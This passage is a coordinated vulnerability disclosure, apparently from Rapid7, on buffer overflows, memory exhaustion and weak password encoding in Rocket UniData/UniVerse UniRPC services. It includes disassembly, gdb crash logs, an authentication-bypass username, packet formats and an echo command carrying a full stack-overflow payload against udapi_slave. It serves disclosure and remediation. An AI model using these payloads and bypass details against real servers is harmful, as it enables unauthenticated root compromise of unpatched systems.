We discovered a post-authentication buffer overflow in the U_get_string_value() function in libunidata.so, which is accessible through the RPC service unirep82. If successfully exploited, it leads to remote code execution as the authenticated user (combined with the authentication bypass in CVE-2023-28503, this is remotely exploitable as the root user without knowing a password).

The root cause is use of the u2strcpy() function, which is a wrapper around the standard strcpy() function. According to information in the compiled executable, the unsafe function usage is in the source file rep_rpc.c at line 464 (note that, like in other snippets from libunidata.so, your address will not line up with ours):

.text:00007FFFF728EBD0 ; int __fastcall U_get_string_value(int connection_id, char *buffer, int index)
[...]
.text:00007FFFF728EC08                 mov     r8, rsi
.text:00007FFFF728EC0B                 mov     rsi, [rdx+0C230h] ; src = third string in the packet
.text:00007FFFF728EC12                 test    rsi, rsi
.text:00007FFFF728EC15                 jz      short loc_7FFFF728EC40 ; Jump if the field is missing
.text:00007FFFF728EC17                 lea     rdx, aRepRpcC   ; filename = "rep_rpc.c"
.text:00007FFFF728EC1E                 sub     rsp, 8
.text:00007FFFF728EC22                 mov     ecx, 1D0h       ; line = 464
.text:00007FFFF728EC27                 mov     rdi, r8         ; dest = r8 = rsi = second function argument (buffer)
.text:00007FFFF728EC2A                 call    _u2strcpy       ; <-- Vulnerable strcpy


When a function calls U_get_string_value(), it passes in a buffer for the resulting string, but does not pass a length value. That buffer is passed into u2strcpy, which is also unbounded, and will overflow whichever buffer is passed into U_get_string_value(). The only RPC service we observed using that function was udsub (accessed via RPC as unirep82), which passes a stack-based buffer into the function.

In udsub, the main function calls U_sub_connect (in the udsub binary), which calls U_unpack_conn_package (in the libunidata.so library), which calls the vulnerable function U_get_string_value (also in the libunidata.so library). Here's a stack trace to help clarify (unfortunately, we don't have source file names or line numbers for any of these functions):


Breakpoint 2, 0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
(gdb) bt
#0  0x00007ffff728ebd0 in U_get_string_value () from /.udlibs82/libunidata.so
#1  0x00007ffff7202259 in U_unpack_conn_package () from /.udlibs82/libunidata.so
#2  0x000000000040361f in U_sub_connect ()
#3  0x00000000004023ea in main ()


We wrote a proof of concept, udsub_stackoverflow_get_string_value.rb, which will overflow the buffer and crash the process while attempting to return from U_unpack_conn_package to the address 0x4242424242424242:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=14678 - 16:37:31 - looking for service unirep82
RPCPID=14678 - 16:37:31 - Found service=unirep82
RPCPID=14678 - 16:37:31 - Checking host: *
RPCPID=14678 - 16:37:31 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 14678 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff72023fd in U_unpack_conn_package () from /.udlibs82/libunidata.so

(gdb) x/i $rip
=> 0x7ffff72023fd <U_unpack_conn_package+605>:	ret    

(gdb) x/xwg $rsp
0x7fffffffd558:	0x4242424242424242


Unlike the password-based overflows, we cannot use a NUL byte so we cannot reliably return to a useful address; however, more complex exploits are likely possible.

CVE-2023-28506: Post-authentication stack buffer overflow in udapi_slave

We found a post-authentication stack overflow in the udapi_slave binary, accessible through the udapi_server binary, which is accessed via the udcs service. Successfully exploiting this issue likely leads to remote code execution as the authenticated user. Due to the authentication bypass detailed in CVE-2023-28503, this is exploitable as the root user without knowing their password.

The udapi_slave binary is somewhat different from other services, because it's not an RPC service; instead, it's executed by an RPC service, which proxies the bodies of RPC requests with a different header. From a network perspective, it behaves identically to a standard UniRPC service, except that the messages are formatted a little bit differently internally.

The RPC message used to authenticate to udapi_serve (and therefore udapi_slave) has more fields than a typical authentication message that other services use. We documented the following fields (note that, as usual, names are usually guesswork):

  • (integer) comms_version — likely a version number, and used as part of password encoding
  • (integer) other_version — another version number, whose name we could not determine (but that only has a few valid values)
  • (string) username — this is processed slightly differently than usernames in other services, but the authentication bypass documented in CVE-2023-28503 still works, except that the username must be ::local: (an extra colon at the start)
  • (string) password — this is treated exactly like the password in other authentication messages, including the bypass documented in CVE-2023-28503
  • (string) account — an account name that's passed into the change_account() function, which insecurely copies it into a buffer

The change_account() function, which appears to be in the file src/ud/udtapi/api_slave.c around line 1154, copies the account argument into a stack-based buffer using u2memcpy. It uses the length of the string, as provided by the user, but always copies the data into a 296-byte stack-based buffer. Additionally, because it uses memcpy and a user-defined size, NUL bytes are permitted and we can therefore use memory addresses as part of our proof of concept.

Here's the vulnerable parts of the change_account() function:

.text:000000000040FC90 ; __int64 __fastcall change_account(int account_length, char *account)
[...]
.text:000000000040FC91                 lea     rcx, aDisk1AgentWork_0 ; filename = "/disk1/agent/workspace/ud_build/src/ud/"...
[...]
.text:000000000040FC9B                 mov     r8d, 482h       ; line = 1154
.text:000000000040FCA1                 mov     rdx, rbp        ; length - length of the user's `account` string
[...]
.text:000000000040FCAC                 lea     rbx, [rsp+138h+account_name_copy] ; 296-byte buffer
.text:000000000040FCB1                 mov     rdi, rbx        ; dst = 296-byte buffer
.text:000000000040FCB4                 call    _u2memcpy


We wrote a proof of concept in udapi_slave_stackoverflow_change_account.rb, which crashes the service at a debug breakpoint (assuming it's the exact version we tested; otherwise, it will likely crash with a segmentation fault). Note that due to the fork, we have to set follow-fork-mode to child ingdb; otherwise, we won't see the child process crash:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) set follow-fork-mode child

(gdb) run

Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

[...run the proof of concept in another window...]

RPCPID=15389 - 16:50:43 - accept: execing /home/ron/unidata/unidata/bin/udapi_server
process 15389 is executing new program: /home/ron/unidata/unidata/bin/udapi_server
[...]
[Attaching after process 15394 fork to child process 15394]
[New inferior 2 (process 15394)]
[...]
process 15394 is executing new program: /home/ron/unidata/unidata/bin/udapi_slave
[...]

Program received signal SIGTRAP, Trace/breakpoint trap.
[Switching to Thread 0x7ffff7fe5780 (LWP 15394)]
0x00000000004007b1 in ?? ()


We can also skip all the RPC stuff by running udapi_slave directly and sending the payload on stdin (this will only work if you already have shell access to the service, so it's not a useful exploit):

[ron@unidata bin]$ echo -ne "\x01\x00\x00\x00\x7c\x01\x00\x00\x05\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x41\x42\x43\x44\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x03\x00\x00\x00\x0b\x00\x00\x00\x03\x00\x00\x01\x30\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x05\x74\x65\x73\x74\x74\x65\x73\x74\x3a\x3a\x6c\x6f\x63\x61\x6c\x3a\x76\x6b\x6b\x70\x3e\x34\x3e\x35\x36\x37\x30\x58\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb0\x07\x40\x00\x00\x00\x00\x00" | ./udapi_slave 0 1 2

[...]
Trace/breakpoint trap


Because this overflow is in u2memcpy instead of u2strcpy, NUL bytes are permitted and therefore this is likely to be exploitable.

CVE-2023-28507: Memory exhaustion DoS in LZ4 decompression

We found a way to exhaust large amounts of memory in the LZ4 decompression function in the unirpcd daemon. The memory is immediately freed after the decompression ultimately fails, so this is not a major attack, but we decided it was worth documenting since a sustained attack using this technique may use a lot of server resources.

UniRPC messages can be compressed using LZ4 compression by setting a flag in the header. The decompression function is called LZ4_decompress_safe, and is found in the unirpcd executable. It appears that LZ4_decompress_safe doesn't distinguish between "invalid data" and "buffer too small". When the function fails, the UniRPC code expands the buffer and tries again — over and over until it requests an enormous amount of memory and the allocation fails, at which point the process ends with an error code.

Here's the code in question, from unirpcd:

.text:000000000040778B      test    eax, eax        ; eax = number of bytes decompressed (if successful)
.text:000000000040778D      jns     decompression_successful ; Jump if it's >0

.text:0000000000407793      mov     eax, cs:uvrpc_cmpr_buf_len
.text:0000000000407799      mov     rdi, cs:uvrpc_cmpr_buf_ptr ; ptr
.text:00000000004077A0      lea     ebx, [rax+rax]  ; Otherwise, double the buffer size
.text:00000000004077A3      lea     edx, ds:0[rax*8]
.text:00000000004077AA      cmp     eax, 0FFFFh
.text:00000000004077AF      cmovle  ebx, edx
.text:00000000004077B2      movsxd  rsi, ebx        ; size
.text:00000000004077B5      call    _realloc ; Allocate double the memory
.text:00000000004077BA      test    rax, rax
.text:00000000004077BD      jz      decompression_failed ; Fail if we're out of memory
.text:00000000004077C3      mov     edx, dword ptr [rsp+88h+tmpvar] ; compressedSize
.text:00000000004077C7      mov     rdi, [rsp+88h+incoming_body_ptr] ; src
.text:00000000004077CC      mov     ecx, ebx        ; dstCapacity
.text:00000000004077CE      mov     rsi, rax        ; dst
.text:00000000004077D1      mov     cs:uvrpc_cmpr_buf_len, ebx
.text:00000000004077D7      mov     cs:uvrpc_cmpr_buf_ptr, rax
.text:00000000004077DE      call    LZ4_decompress_safe ; Otherwise, try again (forever)
.text:00000000004077E3      jmp     short loc_40778B


If we run unirpcd-oneshot and put a breakpoint on the realloc function, then run that script against the server, we'll see increasingly large memory allocations:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) b realloc
Breakpoint 1 at 0x402f80
(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21615 - 18:46:45 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21615 - 18:46:45 - portno=12345
RPCPID=21615 - 18:46:45 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the proof of concept here...]

RPCPID=21615 - 18:48:08 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21615 - 18:48:08 - accept: forking

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=65728) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x6820f0, bytes=131456) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

[...]

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffd51c8010, bytes=538443776) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fffb5047010, bytes=1076887552) at malloc.c:2964
2964	{
(gdb) cont
Continuing.

Breakpoint 1, __GI___libc_realloc (oldmem=0x7fff74d46010, bytes=18446744071568359424) at malloc.c:2964
2964	{
(gdb) cont
Continuing.
RPCPID=21615 - 18:48:40 - in accept read_packet returns 13c84
[Inferior 1 (process 21615) exited with code 01]


Note that the final attempt tries to allocate an enormous amount of memory — 18,446,744,071,568,359,424 bytes, or about 18.4 exabytes, which fortunately fails on my lab machine.

CVE-2023-28508: Post-authentication heap overflow in udsub

We discovered a post-authentication heap overflow vulnerability in the udsub executable (accessed via the RPC service unirep82) that, if successfully exploited, could lead to remote code execution as the authenticated user. We caused the service to crash when it tried to free an invalid pointer after a complex subscription request. Due to the complexity, we didn't track down the root cause of the issue, and therefore can't say with certainty whether this is exploitable for code execution or merely a denial of service.

Note that while this requires authentication, the authentication bypass issue detailed as CVE-2023-28503 permits us to access this service as the root user without requiring a password.

We wrote a proof of concept, which demonstrates the issue; here's what the service looks like when we run that script:

[ron@unidata bin]$ sudo gdb --args ./unirpcd-oneshot -p12345 -d9

[...]

(gdb) run
Starting program: /home/ron/unidata/unidata/bin/./unirpcd-oneshot -p12345 -d9
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
RPCPID=21890 - 18:51:59 - uvrpc_debugflag=9 (Debugging level)
RPCPID=21890 - 18:51:59 - portno=12345
RPCPID=21890 - 18:51:59 - res->ai_family=10, ai_socktype=1, ai_protocol=6

[...run the script here...]

RPCPID=21890 - 18:52:06 - Accepted socket is from (IP number) '::ffff:10.0.0.179'
RPCPID=21890 - 18:52:06 - accept: forking
RPCPID=21890 - 18:52:06 - argcount = 2(1: pre-6/10 client,2: SSL client)
RPCPID=21890 - 18:52:06 - looking for service unirep82
RPCPID=21890 - 18:52:06 - Found service=unirep82
RPCPID=21890 - 18:52:06 - Checking host: *
RPCPID=21890 - 18:52:06 - accept: execing /home/ron/unidata/unidata/bin/udsub
process 21890 is executing new program: /home/ron/unidata/unidata/bin/udsub
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

*** Error in `/home/ron/unidata/unidata/bin/udsub': free(): invalid pointer: 0x000000000062dd00 ***
======= Backtrace: =========
/lib64/libc.so.6(+0x81329)[0x7ffff4b61329]
/.udlibs82/libunidata.so(U_unpack_conn_package+0x66e)[0x7ffff720280e]
/home/ron/unidata/unidata/bin/udsub[0x40361f]
/home/ron/unidata/unidata/bin/udsub[0x4023ea]
/lib64/libc.so.6(__libc_start_main+0xf5)[0x7ffff4b02555]
/home/ron/unidata/unidata/bin/udsub[0x4033de]

\

CVE-2023-28509: Weak encryption

We found several different places where encoding or obfuscation happens in UniRPC communications where the intent appears to be encryption (based on the name or context). At best, they're a simple encoding that hides data on the wire from the most naive eavesdropping (like negating each byte in a password); at worst, multiple layers of this obfuscation can cancel out the obfuscation entirely, or even enable other attacks to work by encoding NUL bytes.

Here, I'll list a few encryption issues that stood out while working on this research project. We implemented these throughout libneptune.

Encryption bit in UniRPC packet header

The UniRPC packet header is 24 (0x18) bytes long, and is composed of the following fields (we don't have the official names, so these are guesses based on context):

  • (1 byte) version byte (always 0x6c)
  • (1 byte) other version byte (always 0x01 or 0x02)
  • (1 byte) reserved / ignored
  • (1 byte) reserved / ignored
  • (4 bytes) body length
  • (4 bytes) reserved / ignored
  • (1 byte) encryption_mode
  • (1 byte) is_compressed
  • (1 byte) is_encrypted
  • (1 byte) reserved / ignored
  • (4 bytes) reserved / must be 0
  • (2 bytes) argcount
  • (2 bytes) data length

This is implemented in the build_packet() function in the libneptune.rb library.

When set, the is_encrypted field tells the receiver that the packet has been obfuscated by XOR'ing every byte of the body with a static byte. Depending on the value of encryption_mode, that static byte is either 1 or 2.

This is not useful for encryption, if that was the intent, because all the information needed to decrypt it is in the packet header (and obfuscation in the form of XOR-by-a-constant is generally obvious to observers and is very easy to decode).

Password encoding in udadmin_server

The first message sent to udadmin_server requires three fields:

  • (integer) opcode (always0x0F / 15)
  • (string) username
  • (string) encoded password

The opcode is an integer value that doesn't change — no value besides 0x0f works. The username is a standard string. The password, however, is passed into a function called rpcEncrypt() after copying it into a buffer. In that function, each byte of the string is negated with the logical not function (ie, binary 0 becomes 1 and 1 becomes 0).

Again, an easily reversible operation (that is also fairly obvious to inspection) does not provide any level of security. This is also directly responsible for CVE-2023-28502 being exploitable, because it allows us to encode NUL bytes as part of an overflow where that would otherwise not be permitted.

Password encoding in U_rep_rpc_server_submain()

The U_rep_rpc_server_submain() function in libunidata.so encodes passwords exactly the same way as udadmin (above), and is used by several different RPC services. It has all the same problems, including enabling strcpy()-based buffer overflow exploits to contain NUL bytes.

Password encoding in udapi_server and udapi_slave

udapi_server and udapi_slave use different (but still trivially decodable) password encodings. Instead of negating each byte like in other services, each byte is XOR'd by the comms_version field, which is a value between 2 and 4 (inclusive).

This is particularly interesting because, in a normal situation, the login message (with the literal account username / password) might have each character in the password XOR'd by 2, which looks like this:

00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 00 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  41 42 43 44 00 00 00 00  |........ABCD....|
00000020  41 42 43 44 00 00 00 00  00 00 00 08 00 00 00 03  |ABCD............|
00000030  00 00 00 08 00 00 00 03  00 00 00 04 00 00 00 03  |................|
00000040  00 00 00 02 00 00 00 05  75 73 65 72 6e 61 6d 65  |........username|
00000050  72 63 71 71 75 6d 70 66  2f 74 6d 70              |rcqqumpf/tmp|


The literal username username is in the packet, but the password is encoded to rcqqumpf. That's somewhat hidden, but very easy to recognize and break.

But if we then enable packet-level encryption, it can XOR the entire message by 2, then also XOR the password by 2, which effectively undoes the encoding and leaves the password (and only the password) visible:

$ ruby ./test.rb | hexdump -C
00000000  6c 01 5a 5a 00 00 00 44  41 42 43 44 02 00 01 59  |l.ZZ...DABCD...Y|
00000010  00 00 00 00 00 05 00 00  43 40 41 46 02 02 02 02  |........C@AF....|
00000020  43 40 41 46 02 02 02 02  02 02 02 0a 02 02 02 01  |C@AF............|
00000030  02 02 02 0a 02 02 02 01  02 02 02 06 02 02 02 01  |................|
00000040  02 02 02 00 02 02 02 07  77 71 67 70 6c 63 6f 67  |........wqgplcog|
00000050  70 61 73 73 77 6f 72 64  2d 76 6f 72              |password-vor|


This obviously isn't an enormous issue, since the passwords are fairly easy to decode anyways, but encoding that undoes itself in certain situations is an interesting edge case of this type of obfuscation.

Remediation

Rocket Software has confirmed they have released patches for customers, available on the Rocket Business Connect portal. If you are running Rocket UniData or UniVerse, the Rocket MultiValue team strongly advises you to upgrade to the latest hotfixes. Specifically, Rocket Software has indicated the patched versions are:

  • UniData 8.2.4 build 3003
  • UniVerse 11.3.5 build 1001
  • UniVerse 12.2.1 build 2002 (available April 14, 2023)

Timeline

  • December, 2022 - January, 2023: Issues identified by Rapid7 researcher Ron Bowes
  • January 24, 2023: Privately disclosed findings to Rocket Software's VDP per Rapid7's CVD policy
  • March 2, 2023: Rocket Software confirmed that they are working on patches and are on track to meet our proposed disclosure date
  • March 29, 2023: Coordinated release of Rocket Software and Rapid7 disclosures (this document)